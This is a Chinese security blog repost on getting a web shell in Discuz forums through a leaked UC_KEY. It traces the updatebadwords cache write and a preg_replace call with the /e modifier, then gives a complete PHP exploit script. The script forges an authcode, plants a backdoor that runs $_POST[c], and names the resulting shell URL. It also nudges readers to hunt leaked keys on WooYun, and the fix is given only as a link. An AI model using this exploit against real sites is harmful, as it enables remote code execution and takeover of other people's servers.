Discuz利用UC_KEY进行前台getshell2

暗月博客 2019年11月21日22:02:49评论397 views字数 5083阅读16分56秒阅读模式
摘要

http://drops.wooyun.org/papers/7830
其实这里已经说得比较明白了。
利用这个漏洞已经好些时候,包括之前腾讯的shell(http://www.wooyun.org/bug s/wooyun-2010-092923)
不过好像官方还是不太重视,特意再提一下,不用登陆后台,直接前台能利用(顺便打卡^-^)
乌云搜索uc_key会有很多惊喜哦。

 

简要描述:

http://drops.wooyun.org/papers/7830
其实这里已经说得比较明白了。
利用这个漏洞已经好些时候,包括之前腾讯的shell(http://www.wooyun.org/bugs/wooyun-2010-092923)
不过好像官方还是不太重视,特意再提一下,不用登陆后台,直接前台能利用(顺便打卡^-^)
乌云搜索uc_key会有很多惊喜哦。

详细说明:

/api/uc.php

function updatebadwords($get, $post) {      global $_G;          if(!API_UPDATEBADWORDS) {       return API_RETURN_FORBIDDEN;      }          $data = array();      if(is_array($post)) {       foreach($post as $k => $v) {        $data['findpattern'][$k] = $v['findpattern'];        $data['replace'][$k] = $v['replacement'];       }      }      $cachefile = DISCUZ_ROOT.'./uc_client/data/cache/badwords.php';      $fp = fopen($cachefile, 'w');      $s = "<?php/r/n";      $s .= '$_CACHE[/'badwords/'] = '.var_export($data, TRUE).";/r/n";      fwrite($fp, $s);      fclose($fp);          return API_RETURN_SUCCEED;     }

更新 uc_client/data/cache/badwords.php

再看

/source/module/forum/forum_ajax.php

if($_GET['action'] == 'checkusername') {             $username = trim($_GET['username']);     $usernamelen = dstrlen($username);     if($usernamelen < 3) {      showmessage('profile_username_tooshort', '', array(), array('handle' => false));     } elseif($usernamelen > 15) {      showmessage('profile_username_toolong', '', array(), array('handle' => false));     }         loaducenter();     $ucresult = uc_user_checkname($username);

跟踪 uc_user_checkname

function uc_user_checkname($username) {     return call_user_func(UC_API_FUNC, 'user', 'check_username', array('username'=>$username));    }      define('UC_API_FUNC', UC_CONNECT == 'mysql' ? 'uc_api_mysql' : 'uc_api_post');

默认情况下

UC_API_FUNC为 uc_api_mysql

function uc_api_mysql($model, $action, $args=array()) {     global $uc_controls;     if(empty($uc_controls[$model])) {      include_once UC_ROOT.'./lib/db.class.php';      include_once UC_ROOT.'./model/base.php';      include_once UC_ROOT."./control/$model.php";      eval("/$uc_controls['$model'] = new {$model}control();");     }     if($action{0} != '_') {      $args = uc_addslashes($args, 1, TRUE);      $action = 'on'.$action;      $uc_controls[$model]->input = $args;      return $uc_controls[$model]->$action($args);     } else {      return '';     }    }

继续跟综到

function check_usernamecensor($username) {      $_CACHE['badwords'] = $this->base->cache('badwords');      $censorusername = $this->base->get_setting('censorusername');      $censorusername = $censorusername['censorusername'];      $censorexp = '/^('.str_replace(array('//*', "/r/n", ' '), array('.*', '|', ''), preg_quote(($censorusername = trim($censorusername)), '/')).')$/i';      $usernamereplaced = isset($_CACHE['badwords']['findpattern']) && !empty($_CACHE['badwords']['findpattern']) ? @preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username) : $username;      if(($usernamereplaced != $username) || ($censorusername && preg_match($censorexp, $username))) {       return FALSE;      } else {       return TRUE;      }     }

注意到

@preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username)

两个参数都可控,即可造成命令执行。

漏洞证明:

利用脚本,3.2后要加上 formhash + cookie 绕过xss拦截

<?php        $timestamp = time()+10*3600;        $host="**.**.**.**";        $agent= md5("Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0");        $uc_key="uckey";        $code=urlencode(_authcode("agent=$agent&time=$timestamp&action=updatebadwords", 'ENCODE', $uc_key));               $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>    <root>     <item id="0">      <item id="findpattern">/admin/e</item>      <item id="replacement">@preg_replace(chr(47).chr(47).chr(101),$_POST[c],chr(098));</item>     </item>    </root>';               /* $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?><root></root>'; */                $html1 = send($cmd1);        echo $html1;                        function send($cmd){        global $host,$code;        $message = "POST /api/uc.php?code=".$code."  HTTP/1.1/r/n";        $message .= "Accept: */*/r/n";        $message .= "Referer: ".$host."/r/n";        $message .= "Accept-Language: zh-cn/r/n";        $message .= "Content-Type: application/x-www-form-urlencoded/r/n";        $message .= "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0/r/n";        $message .= "Host: ".$host."/r/n";        $message .= "Content-Length: ".strlen($cmd)."/r/n";        $message .= "Connection: Close/r/n/r/n";        $message .= $cmd;                $fp = fsockopen($host, 80);        fputs($fp, $message);                $resp = '';            while ($fp && !feof($fp))            $resp .= fread($fp, 1024);                return $resp;    }        function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {        $ckey_length = 4;            $key = md5($key ? $key : UC_KEY);        $keya = md5(substr($key, 0, 16));        $keyb = md5(substr($key, 16, 16));        $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';            $cryptkey = $keya.md5($keya.$keyc);        $key_length = strlen($cryptkey);            $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;        $string_length = strlen($string);            $result = '';        $box = range(0, 255);            $rndkey = array();        for($i = 0; $i <= 255; $i++) {            $rndkey[$i] = ord($cryptkey[$i % $key_length]);        }            for($j = $i = 0; $i < 256; $i++) {            $j = ($j + $box[$i] + $rndkey[$i]) % 256;            $tmp = $box[$i];            $box[$i] = $box[$j];            $box[$j] = $tmp;        }            for($a = $j = $i = 0; $i < $string_length; $i++) {            $a = ($a + 1) % 256;            $j = ($j + $box[$a]) % 256;            $tmp = $box[$a];            $box[$a] = $box[$j];            $box[$j] = $tmp;            $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));        }            if($operation == 'DECODE') {            if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {                return substr($result, 26);            } else {                    return '';                }        } else {            return $keyc.str_replace('=', '', base64_encode($result));        }        }    ?>

 

提交后,shell地址为:

**.**.**.**/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=admin 

修复方案:

http://**.**.**.**/papers/7830 里说得很清楚了。

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日22:02:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Discuz利用UC_KEY进行前台getshell2https://cn-sec.com/archives/73153.html

发表评论

匿名网友 填写信息